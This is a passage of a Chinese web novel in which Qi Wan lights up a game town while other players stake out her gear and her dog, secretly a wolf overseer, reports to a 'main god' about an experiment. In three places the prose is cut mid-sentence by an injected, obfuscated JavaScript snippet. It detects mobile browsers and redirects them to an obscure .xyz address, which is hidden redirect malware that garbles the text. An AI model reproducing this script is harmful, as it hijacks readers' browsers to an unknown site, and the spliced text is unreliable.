祁晚看着这狗无比丰富的面部表情,眼皮跳了跳,“什么表情?给我扔在这一个人——怎么你还叹上气了,我这不是已经在加快进度了吗?” 逐风更叹气了。 它之前是见不到主人难过,现在则是有点不敢见了。 祁晚这不通狗性的人,怎么会理解它的心呢。 接下来的一下午与往常并无不同,变化发生在祁晚累得要死,回去取露营用品的时候。 她放行李的巷子在已经有人居住的点亮区。 一是为了不被人发现,二是为了尽量多干点,早点结束这个游戏,她很晚才来拿行李。 然后她的脚步停在了空气墙前,停在了她新点亮的区域内。 三个人围坐在小巷子里,正打着呵欠聊天。 “秋原跟柳州与她俩靠谱吗?”一白衣男道:“就凭那条狼……不是,那条狗就确定了?还轮班搁这守着……” 一黑眼圈浓重的小哥回答,“反正我信。” 然后这小哥唤出系统地图,开始给白衣男比划,“大鹏哥,你看,每天新出现的地图范围很大,开图人肯定会在ta开的最新点存档……” “这里存不了档。”另一看起来有点耳熟的黑衣男提醒他,“这是真人游戏。” “行,那就不叫存档。”小哥摆了摆手,“行,行,真人游戏嘛……那这个人肯定得有个地方休息吧?但是小柳姐说,镇里谁也没见过有个新人来住,仅有的外来人就是咱,那这人肯定是住在他的存档点了。” 很合理,白衣服和黑眼圈两男均点头,看向那堆露营设备,黑衣男道:“是新设备,确实不是垃圾……扔在垃圾堆旁边,看来那人还想把这堆东西伪装成垃圾,可惜,很容易就能看出来。” 祁晚确实是这么想的……她哪知道垃圾堆旁边的东西还有人翻?况且她还放得那么乱! “那就等着吧。”白衣男打了个呵欠,“再过三个小时换班——怎么玩个游戏还要值夜班……说起来,这么晚了,我都困了,那人不睡觉吗?怎么还没来拿?” 眼熟的黑衣男耸了耸肩,将防潮垫摊开,席地而躺,“等着呗。” 然后他把帐篷包和大号软垫扔给另外两人,“来,躺会——不用白不用。” 站在空气墙另一头所以没被看见的祁晚:“……” 她好气。 她已经不在乎那黑衣男为啥看起来有点眼熟了,她好气! 不要乱动她的东西啊这群人!有没有素质!! 半晌,她颤抖着抬起手,指着这些人,低头看向小狗,“这些都是谁?” “你出去跑一圈,引来抓我的人了?”她从心底涌出一股诧异和愤怒,揪住狗耳朵迫使它看着自己,“我好不容易找的装备!他们不走,我睡哪?要我走回你家吗?” 逐风心虚地移开目光。 ——它哪知道那个玩家一回去就告诉了其他玩家,甚至还效率极高地安排了轮班蹲守?一般这种事不都该藏着点吗? 一人一狗就这么站在夜风中对峙着。 …… 时间回到白天,柳州与扛着秋原回到住处,完成任务快的人已经回来了,但人还不齐,于是她们暂且没说。 为防止磨蹭伤口,柳州与弄了条裙子来给秋原。因为实在借不到尺寸合适的裙子,她最后只得买了一条——精心挑的。 其实,如果忽略中二病这一点的话,秋原长得真是蛮好看,毕竟是能压住银白色这种发色的人。 她第一次见到时就觉得祁晚跟秋原都好好看,结果一个比一个不当人……于是当秋原换上裙子时,柳州与有点看呆了。 真是好看——不愧是她的审美! 秋原本人对此毫无所觉,她只是一瘸一拐地伸出了手,想让柳州与扶她,“咱们下楼?” 柳州与有种自己是个女仆,现在正在在伺候大小姐的奇妙感觉,但是又挺心甘情愿的,于是她接过某人的手,“走吧。” 过了大约三个小时,所有人都回来了。 因为得到了柳秋二人有新发现的消息,所有人都加快了任务进度,磨洋工的也不磨了。 所有人齐聚一楼大厅一侧。 考虑到秋原这个小中二病表达能力欠佳且不知道会冒出什么话来,柳州与选择自己发言,将秋原的推测和她的发现全说了一遍。 一番话毕,RPG小哥顶着大黑眼圈一拍大腿,“我就说有!” 没人反驳他。 “那要这么说……就有办法了。”一直以来负责分配任务的大姐名叫李芬,她思考了一会,道:“那个人肯定也要休息,他休息的时候,一定会回来拿他的东西。” 在场的人都看着她。 她继续道:“虽然对方行踪不定,但咱们人数更多,优势在我们——这样,反正大家今天的任务都完成了,我给大家分一下组。三人一组,六小时一班,大家轮班去那里守着,小秋受伤了就别去了。总之一定抓住这个人,咱们趁早打下这个游戏。” 很快,第一组就去做准备了。 李芬看向第二组的三人。 RPG小哥也在这三人中,名叫刘畅,从拍完大腿就根本没在听,已经在打盹了。 于是李芬过去推了推他,“小刘?小刘?” 刘畅抬眼看她,黑眼圈浓重的眼里透着烦躁,“咋了姐?” 李芬:“我刚才说的你都听见没?跟你一组的都有谁,你记住了吗?一开始就是你提出的这个猜想,现在可能要实现了,你不应该积极一点吗?” 刘畅打起一点精神,诚恳道:“我听了,知道,跟我一组的是雷铭和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064758|163064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白大鹏嘛,名字我都记住了……李姐,我已经全部理解了,真的。”白大鹏就是那个穿白衣服的。 李芬:“……” 对方的回答并没有什么问题,很诚恳,很到位,但她总觉得有点怪。 柳州与被分到第一组,刚要出发。出发到一半,听闻此言又折了回来,拍了拍李芬的肩。 “二次元混久了的人有时候是会玩一些奇怪的梗,李姐,你别理他。”柳州与颇同病相怜地看着李芬,毕竟她也成天面对着秋原这种小中二病,“咱们理解不了他们这些人的。” 李芬不理解地看向她,点了点头,“好……但是你不是管我叫芬姐的吗,为什么也叫李姐了?” 柳州与不语,转身就走。 李芬把自己安排在第三组,值班时间在后半夜,现在离她的班还早。 于是她默默地回了房间。 可能真的是老了吧……她想。她真的搞不懂这些年轻人都在想什么了。 …… 祁晚与狗对峙了半天也没对出个所以然来——说到底,一条狗能给她什么回应? 最终,她放开狗耳朵,认命地自己想办法。 “那些人是来找我干嘛的。”祁晚原地盘腿坐下,跟狗平视,“要是对我没什么威胁的话,我就跟他们走也行……要不我出去跟他们说吧,好歹东西还我啊,我要睡觉……” 逐风眨了眨眼。 根据它这两天看的回溯记录,这些人是想抓住开新地图的人。 按他们的逻辑,只要不开新地图,就不会出现新任务,就可以早点完成游戏。 这逻辑,从根上就错了! 这帮人认为地图是无限的,所以抓住开图人阻止地图扩大也是游戏的一部分,可是不是这样——地图是有限的,开完了祁晚自然就走了,他们也只需要等着。 明明游戏开始就说过了,只需要解决镇民的烦恼,不知道这帮人在瞎想什么。 这种时候联想力太强可不是好事啊。 想到这里,逐风咬住祁晚的裤腿不让她去。顺便看向这仨人中的那个黑眼圈小哥,翻了个白眼。 就是这个刘畅,游戏玩多了,给新玩家全带沟里去了。 祁晚关注着它的行动。 对于这狗不是什么普通狗这件事,她不是一点察觉都没有。 虽然说不出来具体哪里不对,但她就是能看出来,也大致猜到这条狗虽然是任务对象,但也是来辅助她完成游戏的。 一条目的是辅助她的狗,不让她过去搭话,还对那三个人翻白眼,并表现出烦躁和不屑——是否说明这些人的行动会妨碍她的任务? 肯定是。 祁晚认为自己的思路天衣无缝,她一拍大腿,站起来,“行,绕开他们。” 逐风很惊诧地看着她。 ——这人,怎么突然通狗性了?它没寻思自己这一咬能好使啊。 …… 三人在巷子里四仰八叉地躺着,白大鹏和刘畅已经在打呼噜了,只有雷铭还略打着点精神,注意着巷子外的动静。 他听见一个脚步声,便抬起一半身子往外看。 路灯昏暗,看不清人,只能看见一个高挑的身影从另一边的道路上走出。风衣的衣摆被风带起,拐上主路,一路向东去,一点也没注意他们这条巷子。 不是从空气墙里走出来的,也完全没注意他们这里——不是开图人,只是个回家比较晚的普通镇民。 如此想着,他躺回去,继续闭目养神。 19. 小狗(9) 祁晚决定就这么大摇大摆地走出去。 反正那些人不认识她,她干脆就玩个灯下黑——最危险的地方最安全嘛! 这还是她从6号,哦不,柳州与那学来的。 但还是要稍微变一下形象。 她将长发塞进衣服,于是留在外面的部分看起来就像短发,然后她又从附近的服装店里找了件长款的男士风衣套上。 出去的路就一条,所以她稍微绕了一下角度,假装自己不是从空气墙里走出去的。 果然,那些人只以为她是路人,全然没把她当回事。 至于她为什么不在新点亮的区域里找屋子休息? 鬼知道明天新区域都会在哪里刷出人来?万一她一觉醒来,发现自己睡在别人的卧室里或者店里,主人就刷新在她旁边——想想都要死。 走回小狗家的院子就实在太远了,她挑了个顺眼的旅馆住下。 折腾了半宿,她终于能将自己伸展开。旅馆的行李都晒过,散发着清新的阳光味道,很舒服。逐风很快就听见了她悠长的呼吸声。 ——接下来就是它的工作时间了。 于是它轻轻站起,蹑手蹑脚地推门离开。 它没看见,就在它出门的那一瞬,祁晚瘫在床上,偏头朝门看了一眼。 但也只是看一眼而已,她很累,还是继续睡了。 …… 三男值守时间到后,李芬几人来换班。 李芬直接看向雷铭,“小雷,发现什么了吗?” 雷铭摇头,“就有个路人,连看都没往这边看。没有可疑之处。” 李芬点点头,“那你们抓紧回去休息。辛苦了。” 换完班,三男回到旅店。刘畅困得一头撞到了门框上,被白大鹏扶着扔回床上。 这俩人沾枕头就着,当场睡得人事不省,但雷铭睡不着。 虽然嘴上跟李芬说着什么都没发现,但他总想起他看见的那个路人。 身高很高,估计能有一米八,身高腿长,走路大步流星,穿着宽松的长款风衣,头发不长。夜色昏暗,他看不太清,只觉得是个很有气质的年轻小伙。 可是…… 他想起自己的第一场游戏。 他们一行三人在黑暗中遇见祁晚——说实话,他第一眼就被这高挑美女震撼到——随后他们一同前往游戏地点。祁晚在前,他们三个在后。这女人身高腿长,走路速度飞快,因此除了跟她一样高的方起,他和那个叫冬游的姑娘都跟得有点费劲。 冬游还有方起一路拽着,他可没有,他都小跑起来了。等终于小跑到地方,他大腿都酸了。 印象可以说是相当深刻。 那个路人大步流星的步态……祁晚那天堪比竞走的步速……他脑海中,这一男一女两个身影渐渐重合。 祁晚是长发,那路人是短发,着装风格也不一样。仅凭身高和走路姿势不能断定什么,因此他没敢跟别人说。但他就是觉得很像。 直觉。 很像啊。 真的很像啊。 早知道他就应该追上去看一眼的,可是人已经走了,他也不再有确认的机会。 算是今天一个小小的遗憾吧——他如此想着,终于闭上了双眼。 算了,睡吧。 …… 第五夜报告。 游走者上报一号实验世界实验进程:已点亮游戏点数量(3975/5000),已投入意识生活状态无异常,新进场玩家无异常。游戏点收集功能运转良好,第五批点亮区运转良好,可随时投入意识。实验体精神力损耗度降低(27%-24%)。精神力使用教材E学习进程12%。请接收——代号:风。 按这个进度,再有两天,这个小世界就能完成了。祁晚在精神控制能力差得离谱的情况下居然能达到这种程度,精神力总量实在恐怖。 在这里,精神力就是资源。祁晚精神力总量高,恢复快,简直堪比无限能源。 但是…… 3%,10%,12%…… 主神亲手唤醒茫茫几十亿意识,却唯独把祁晚挑出来,它相信主神肯定有祂的理由,也相信主神的眼光……只是以它拙眼,恕它直言,它实在看不出来——祁晚除了精神力总量恐怖,究竟还有哪里有作为实验体的价值? 难道是当血包拎出来用的吗?既然只是个血包,那为什么一定要它单独盯着?区区一个血包值得单独调动一个游走者来监督吗? 如此想着,它可怜兮兮的挠了挠游戏点。 随便谁都好,来给它讲讲吧,跟它说说话也行。 片刻,一根枝条伸出游戏点,逐风眼睛一亮——世界树来了。 然而这次游戏点缓缓显现出影像,传出的并不是世界树细弱的中性声音。 “小风,这些天辛苦你啦~” 听见这个熟悉的温柔声音,它弹了起来。 是引导者! 它简直恨不得立刻扑到她面前,好让她摸摸它,鬼知道它有多想她!毕竟跟自己的养育者分开这么久……在它短暂的狼生中,还是第一次。 “别激动,别激动。”引导者的影像出现在游戏点上,微笑着安抚它,“主神把游戏点总量减少了一点,现在是4500了。明天这个世界肯定能完成——祂说到时候放你半天假。” 逐风疯狂点头,“汪呜呜呜——呜?” 等等,为什么是半天? “学习进度太差了。”引导者的微笑略微收敛,道:“3%,10%,12%……你好好看看,怎么会出现这种数字?说实话,我也觉得你搞错了呀……所有人都认为实验体不可能这样,所以主神现在认为是你失职。” “第一次单独执行任务就这样,主神对你有点失望,认为你需要更多锻炼,不打算让你回来了。等待游戏延长两场,给实验体延长学习时间,你也多练练。” 逐风的耳朵耷拉下去。 引导者看着逐风悲凉的眼神,想伸出手摸摸它,手伸到一半才想起来自己无法出现,道:“不过我争取过了,虽然等待游戏加两场,但可以加休息时间。 “每场之间有半天假,休息完你再回去继续。” “到时候你回来,哪里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064759|163064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有问题跟我提,我看看能不能帮你解决。”引导者继续道:“实在不行咱们去找薇姐,她一定可以。” 逐风热泪盈眶,使劲点头,“呜——”果然还是引导者最好了。 “那我先走了,还有事情要忙呢。”引导者挥了挥手,“到时候见。” 逐风见人马上要离开,感动之余这才想起什么,赶忙拦住引导者,“呜呜呜呜呜——” ——虽然,但是,实验体学习进度慢真的不是它的锅!是实验体自己的问题!还有,好像有个人发现了它的身份,不仅发现了它,还知道了秋的本名。 “嗯?有这种情况?”引导者的影像再次清晰起来,她眼里浮现出困惑,“我记得这个世界一开岳老师就报了人数错误……当时我以为是因为实验体。居然不是吗?我查一下。” 逐风等着她查询。 “游戏人数12,加上祁晚是13。等一下,不对……” “数字……在闪?” “游戏人数13,对,是13……不对,祁晚还是单独的,变成14了?啊,还在闪……到底是多少?” 逐风想起那个没有气味的人,好像是叫秋原。 当时它就觉得,人怎么会没有气味,以至于它面前像站着一团空气。如果人数出现问题,那也只能是那个人的问题。 最后,引导者深深蹙起眉,“可能多了一个人。小风,你知道是谁吗?这个人干扰系统了。” 逐风点了点头,试图将自己脑海中那人的形象传过去。 动物很难记住人脸,能传输的影像也是没什么辨识度的,但没有气味它就无法精确定位,只能传输影像。 于是引导者原地等着它,然而等了好几分钟,什么都没收到。 逐风瞪大了眼。 无法传输。 “什么都没有,我接收不到。”引导者指尖翻飞,不知道在翻什么,“我查到了——第一场也出了问题,胜利条件被人改了,当时薇姐以为是第一个世界bug太多,就没当回事……其实两次都是系统被动了。啧,做的太隐蔽了,才发现。” “是谁……主神居然都没发现吗……” 逐风抖了抖耳朵,看来它要想办法抓住那个人了。 毕竟那人现在就在它眼皮子底下。 然而引导者看穿了它的想法,认真道:“能动系统,你对付不了这个人的,我已经告诉主神了……你还是盯好祁晚,这个人交给我们。” 逐风有点失落地耷拉下了耳朵。 它好没用。 引导者安抚了它一下。 “不是嫌你没用,是怕你对付不了,会有危险。毕竟这人能动系统呢,还两次都没被发现……我都不敢动手。” “你要是受伤了或者怎么样了,我们也会难过的。唔……我知道你也想做点什么,但是逞强可不行啊。” 听见这话,逐风终于打起了些精神。 ——果然主人还是爱它的,不会嫌弃它没用。 随后引导者离开。 目送主人离开,逐风再次蔫头耷脑起来,叹了口气,也走了。 20. 小狗(10) 主神空间。 关闭视频画面,引导者整理好逐风送来的情报,有些焦躁地起身。 “怎么会有人……”她喃喃自语,“怎么可能……” 她拿上情报,准备前往中心点,然而她门外已经有人来了,两人正好撞了个满怀。 来者正是主神。 还是那张毫无表情的面瘫脸,还是那样无机质的眼神。只是分外苍白疲惫,让人心疼——她有多久没近距离看过祂了? “你来了?”她惊喜地睁大眼,伸手把人揽住,心满意足地喟叹,“你怎么突然能离开了?我正好有事跟你说,逐风发现了个人……” “我知道。”主神本来就黑的眸子此刻一点光都没有,没骨头似的靠在她身上,将下巴垫在她肩上,声音发闷,“找不到。” “找不到?” “嗯,找不到。” “怎么会……” “怎么会有人能动你设的东西,还不被发现?”引导者愈发担心起来,“你看起来好累……你是不是早就发现了?为什么不告诉我们?我们都以为是普通漏洞。” “你们知道了也没用……对面不是人类,很难对付。” “不是人类?那是?” “不知道。” “有没有可能是光民?” 主神微微摇头,“不清楚,我没解析过光民的意识形态。是别的什么东西也说不定。” “好吧,我们一直都帮不上你。”引导者偏头看祂,把人抱的更紧了,“你怎么突然能离开了?不忙了吗……能离开多久?” “自动程序运转良好,实验体提供的精神力很足,能让系统自行运转至少五天不用补充。现在等待游戏延长两场,我能再多休十天。”说到这里,主神几乎整个人都挂在了引导者身上,“早晚能抓到bug,我对付不了那个东西?呵……先休息一段时间……” 自从开始构建世界,她就没见主神从中心点离开过。以主神自己的精神力为养分,世界树疯狂生长,如今已有数十人环抱那么粗,枝繁叶茂遮天蔽日,每一片叶子都托举着一个世界。 新世界的庞大程度时常震惊她,增速也快到超乎想象。 她甚至不敢抬头,她有点轻微的巨物恐惧。 任谁都无法想象,那样一个见不到尽头的新世界,居然是全靠主神一个人建设起来的。 一直以来,主神飞快构建世界,世界树随之设立坐标、序号;主神还身兼意识唤醒的工作;要管理实验体;因为游走者能修补的bug非常有限,还有很多对付不了的,就也要祂本人来。 世界树逐渐形成集群意识,好歹能有休息的时间,主神完全没有,她都不敢想祂现在有多累。 然而这人累的要死,好不容易有了休息时间,也没马上去休息。 “你好像认识实验体?”某主神依旧靠在她肩上,整个人是一个很依赖的姿态,但幽幽地看着她。一双黑眸看不出情绪,语气也无起伏,“那么关心她?” 她最近对实验体的关注确实有些超出,主神这些天无法离开中心点,也不知道把这个问题憋了多久。 想到这里她就想笑,“对呀,认识。” 主神继续看着她。 她卖起关子,神秘道:“至于别的嘛,先不告诉你。等她什么时候能来这里了,我再介绍你们认识——她人很好的。” 于是主神收回目光,“没看出来哪里好。” “你别对她那么大敌意嘛……她就是我朋友。” “没有敌意,不是你想的那样。”主神直到此时才站直身子,淡淡报出一串数字,“E级,3%,10%,12%。” 引导者:“……” 好熟悉的数字。 “没见过智……学习能力这么差的,除了精神力总量格外大,没有任何优点。”主神转身走向卧室,“感觉不值得我付出这么多精力。” 引导者感觉主神刚才没说出来的词应该是智力低下,硬憋回去了。 “……你现在是不是在心里骂她蠢货?” “她是你朋友,我不会直接骂的。” 果然如此。 “在心里也不许,好好教她。” “……好的。” …… 一夜过去。 天色从东边泛起鱼肚白,李芬静静地坐在巷口拐角,看着镇民们逐渐活跃起来。 一整夜,这里都没有人来。 第一组的时间基本在白天,等不到人也正常,但第二组的三人也什么都没发现。 白大鹏跟刘畅那俩人她不指望,一个杠精一个玩游戏玩傻了的。但除了几个回家格外晚的镇民,连雷铭也什么都没发现。 她在此值守了后半夜,但后半夜比白天前半夜更安静,更什么都没有。 直到现在,天亮了。 她打起几分精神。 跟她同组的小姑娘刚刚睡醒,睡眼惺忪地看着她,“李姐,差不多该换班了吧?你是一直没睡吗?” 李芬回头看那小孩——她在这些玩家中年纪最大,所有人在她眼里都是孩子——她道:“还有两个小时,天也亮了,起来吧。睡得怎么样?睡着了吗?” “唔……”那女孩爬起来,道:“李姐,你去眯一会吧。我看你一直没睡,我来盯着吧。发现可疑人物我第一时间叫你。” …… 祁晚最近都醒得很早,只是这次醒得更早。天色过于漆黑,她一时有些迷茫,望着窗外依旧深黑的天色发呆。 这是她来到这里的第六天。 可能是因为学习有所成效,她的精神力消耗在变小,恢复速度变得更快。需要的睡眠时间也在变短,在狼羊游戏时那种不需要休息的感觉又回来了。 她说不上这种感觉是好是坏。 黑夜在无法睡去时,会显得格外漫长。 房间里除了她什么都没有,狗不在。 “这狗到底干嘛去了呢,也是奇了怪了……一条狗能干嘛去?”她看着空荡荡的房间角落嘟哝,“等下次天黑我要去跟踪它。” 看看这狗到底是去搞事情了,还是单纯地跑回去演忠犬八公了。 醒都醒了,闲着也不是办法,她下楼退房,走上空无一人的街道,向西游荡。 此时正是凌晨,天色黑得不见五指。这个小镇没有路灯,游戏点的光亮代替了灯光,她借着游戏点的微弱亮光往前走。 整条街道都绿惨惨的。 总感觉比之前的黑白色像素风更诡异。 她本来该走另一条路去未点亮区,但鬼使神差地,她还是去了她放露营用品的那条巷子。 巷子里的人已经换了,不再是之前那三个男的,而是变成了两女一男。 她只远远地望了一眼便离开,巷子里的人没有发现她。 毕竟是深夜,她昨天新点亮的区域依然寂静,但多了些人气。 很难形容人气是怎么一种感觉,就好像这条街道活过来了。 隔音差的房子里传来呼噜声,她听觉的尽头隐约有犬吠,街旁脏污的玻璃散发出微弱的亮光。 就是那种随便你经过哪栋房子,即便它并没有透出灯光,你也知道那里面有人的感觉。 她漫无目的地四处游荡,感受着这些与她无关的人气,没有直接前去未点亮区。当她再次走到空气墙边,点亮新的游戏点时,天边已经泛起青色。 “今天要不然多学一点吧。”祁晚喃喃了一句,将手摁在了游戏点上,不再掐着时间拿开,“早完事早离开。” …… 因为被说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15065522|163064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了帮不上忙,逐风很是失落,臊眉耷眼地回了旅店。 前台在柜台后浅眠,它刻意放轻脚步,没有被发现。 然而房间里已经空了。 它看了一眼时间,凌晨三点二十。 三点二十!凌晨! 它这次真的很快了,这人三更半夜的不睡觉干什么去了啊?! 气得连打两个喷嚏,逐风转身离开房间。 还行,它记住祁晚的气味了,大致可以找过去。 …… 又一次被抽干精神力后,祁晚万分痛苦地抬起手腕。 两个小时,15% “真就离了大谱了。”她颓然原地坐倒,“这东西的设置真的合理吗,居然能难住我这种天才……” 在她学习到一半时,逐风在绕了一大圈后找到了她,此时正蹲在她身边。 听见她的话,逐风默默地偏开头,喷了下鼻子。 你是个屁的天才。 “你喷这一下是不是嫌弃我的意思?”祁晚不出意外地又陷入情绪崩溃的状态,她薅住狗脖子侧面的毛开始嚎,“嫌弃?你怎么好意思?我这么辛苦我为了谁啊——” 逐风开始挣扎,“呜呜呜哇咔呜呜——噶——” 什么叫为了谁?主神看中你是你的荣幸! 就因为你死活学不会,我只有半天假可放……我还没嚎呢,你嚎什么?你有什么好嚎的? 如此想着,它彻底放弃自己脖颈侧面的毛,也不管围脖缺一块会不会不好看了,用力甩开祁晚的手,照着她的小腿来了一口。 只是为了泄愤,没有咬伤,但是一定很疼。 “啊!好疼!”祁晚疼得蹦了起来,甩掉手里抓下来的一把毛,“死狗!” ——当然疼,它照着穴位咬的!还有,谁是狗?都现在了还把它当狗,它可是狼!超级有学问超级聪明的狼! 结果是祁晚赫然意识到,这狗再懂事也是狗,是会咬人的……只好在还挺有分寸,她除了疼,腿上连一点皮都没破。 如此短暂插曲过去,一人一狗都安静下来。 见她安静,逐风的目光移向她的手腕,看见了一个满满当当的蓝条。 她们俩干这一架的时间有一分钟吗?那可是80%的精神力……就这么恢复了? 它倒是知道祁晚很快,而且越来越快,但这是不是有点太快了? 学习毫无进展,作为血包的天赋倒是发展很快。 想到这里,它的表情突然变了变。 再这样下去……祁晚的消耗速度会不会变得低于恢复速度?如果真的能低,会低多少?是否能达到消耗远远低于恢复的程度?如果真的能达到,最终能低多少,是否会发展到精神力无限的程度? 它感觉有可能。 那可真的是非常恐怖了。 真不愧是主神,居然能从茫茫八十亿意识中挑出这么一个来。虽然学习能力真的很差,但居然也堪称前途无限。 难怪这么受重视,就冲这个,说什么它都要把祁晚的学习速度提上来。 不能偏科啊。 它在这边心思繁多,至于祁晚—— “我跟你说,你这种咬人的狗,放我老家叫恶犬,是要挨揍的。打不熟就炖熟。”她呲牙咧嘴地揉着小腿站直,“当然,我不是那种人,我很爱护小动物的。而且我宽宏大量,不跟你计较。” 在她站直的一瞬间,街道上的游戏点突然齐齐发出播报声。 【已点亮全部游戏点,居住区域完全解锁。等待游戏进度90%】 【请玩家继续完成游戏】 听见这个播报,祁晚精神一振。 终于完成了!她又有动力了! “走!”祁晚充满动力地大步走出去,“出镇!” 21. 小狗(11) 走到镇子边缘,祁晚又沉默了。 直到走到这里,她才看见,整个镇子都被一个巨大的半圆形透明壳罩着,她想起以前在小说里见过的描述,将此称为结界。 结界外是无尽的纯白。 居然不是纯黑啊。 然而就是这纯白,才更叫她眼熟。 漫无边际的纯白中,出镇的路只有一条,五六米宽。 试探着迈上出镇的路,她回头看向她的任务对象——那条长得像狼的狗。 还在,一直跟着她,看起来没有异常,太好了。 她靠近路的一边,靠近那些“白雾”,伸出手在“白雾”里挥了挥。白雾没有被空气扰动,没有跟着她的手走,也感受不到湿润。与其说是白雾,倒不如说是散发着白光的微尘。 这些微尘固定在空气里,就显得空间是纯白的。 “你知道吗?”祁晚的眼神变得迷茫,“我刚醒来的时候,见到的……好像就是这些。” 逐风竖起耳朵。 它当然知道这纯白是什么,主神管这里叫空区:即还没有进行任何开发,也无法建设新的小世界的区域;相应的,纯黑的就是已经完成开发,但还没来得及放置小世界的区域。一开始,全人类的意识都在空区沉睡。 但所有人都应该是被主神唤醒后直接进入各个小世界的,引导者和管理者的分配速度足够快,应该没人看见过空区才对。 实验体见过空区?她难道不是被主神唤醒的吗?逐风彻底懵了。 祁晚还在说话。 “我刚醒来的时候,看见的是漫无边际的光团。”她道:“莫名地,我就知道那些都是人,我们死了,然后变成光团。我一开始以为那就是死后世界,可是不是,我又……活过来了。” 说到这里,她看向自己的手,“我也说不上这算不算活,反正总比在那里飘着强。” “可是现在……这里是空的了。”她环视自己周围无尽的纯白,“那么多人呢?都去哪里了?” 一切都在她的脑海里串起来。 那么多人…… “是城镇里的那些人……果然是的吧!”她眼睛亮起来,“人们都醒过来,有的正常生活,有的变成我这样的玩家——我之前想的果然是对的! “那这些世界是怎么来的呢?是那个什么引导者还有管理者做的?做这玩意干嘛?” 逐风虽然是条狼,此刻也是听得冷汗直冒。 猜的可以说是八九不离十了。 万幸,线索太少,祁晚没猜到玩家也是分等级的,并不是每个人都有跟她一样开荒的资格,也没猜到主神的存在。 不能再让祁晚继续想下去了…… 游戏点全部点亮,出来这么一会,它对这个小世界的掌控也终于达到最高点。 几秒后,祁晚眼前骤然清明起来。出现一条曲折回环的环山公路,路边被护栏围着。 然而,在她不远处,一个接近120°的大转弯处,地面上遍布凌乱的轮胎印,而围栏破破烂烂,依旧冒着细微的黑烟,被撞出了一个大洞。 “我的天哪……”祁晚快步走过去,钻入鼻腔的是浓重的汽油味和焦糊味,她被呛得咳了几声,“什么车祸现场?” 顺着被撞烂的围栏看下去,青山葳蕤,河流蜿蜒——都在千百里之外,这是一处风景优美的断崖。 至于她脚下离她最近的地方,烧糊了一大片,散布着玻璃碎片和金属碎片,显然,有一辆车从这里翻下去了。 这里是游戏,莫名出现这么一个场景,不太可能是没有价值的,大概率跟她的任务有关。 “我的任务是不是让你完成等待来着?”祁晚看向逐风,“虽然院子剩的都是烂东西,但也不见得就一定是不要的……啊,车祸场景……为什么偏偏是车祸?” 目送那两人离开时,她们看起来很爱她们的狗。狗从窝的布置看也是用了心的,是把狗当成家人,实在不像是会抛弃宠物的人。 她是不是……误会那两个人了? 有种不详的预感。 “我得下去看看。”望着断崖,祁晚的目光一点点沉下来,“就算没猜对,要是救到了别人也不算白搭。” 下是肯定要下了,关键在于,怎么下? 跳崖吗? “真的是,什么鬼游戏。”祁晚环视四周,发现路边全是整整齐齐的断崖。这条路就是顺着山壁铺的,没有任何可以下去的路,连个坡度缓一点的地方都没有,于是她吐槽,“这不是明摆着逼人跳崖?过分了吧。” 逐风默默走到了她脚边,看了她一眼。 从刚才她就没注意它,这家伙突然过来,是有什么事吗?还是察觉到什么了? “我怀疑你主人掉下去了。”祁晚迎着逐风的目光看回去,指着断崖和断掉的栏杆,也不管这狗能不能听懂,道:“所以得下去,现在咱得想个办法下去——跳崖不行啊,我可不跳。” 要的就是你跳,这可是很重要的一课……逐风如此想着,悠悠然走到断崖边。 纵身一跃! “我的老天奶啊这狗找不到主人跳崖了!”祁晚惊得瞪大了眼,飞扑到尚还完整的护栏边往下看。 只见此狗以一个很慢的速度向下飘落,如同树叶,也如同羽毛。目测速度秒速五厘米左右,很悠闲,还朝她打了个呵欠。 这下换成祁晚懵了。 怎么这游戏的重力加速度还跟现实世界不同吗?下落速度这么慢的? 看着正向下飘落的某条狗,祁晚的思考开始卡壳,然而一句话突然浮现在她的脑海里。 灵魂的重量是21g。 她现在是一个死人,她只有灵魂。 茅塞顿开,醍醐灌顶。 “最近的生活太正常,每天生活那么规律,我都有点忘了……我已经没在活着了。”她自言自语着,所有恐惧和顾虑瞬时烟消云散。 随后,她毫不犹豫地迈过护栏,向外跌落。 “对啊,我已经没在活着了啊……” 她的声音随风而散,整个人像花瓣一样向断崖下飘落。 虽然在狼羊游戏时就对此有所意识,但……远不如现在这一下深刻。 当“已死”这个概念彻彻底底地烙印进脑海里,她才彻底摒弃肉.体对精神的束缚。 要是这样的话……她当时从二楼往下跳,其实也不该脚疼的。
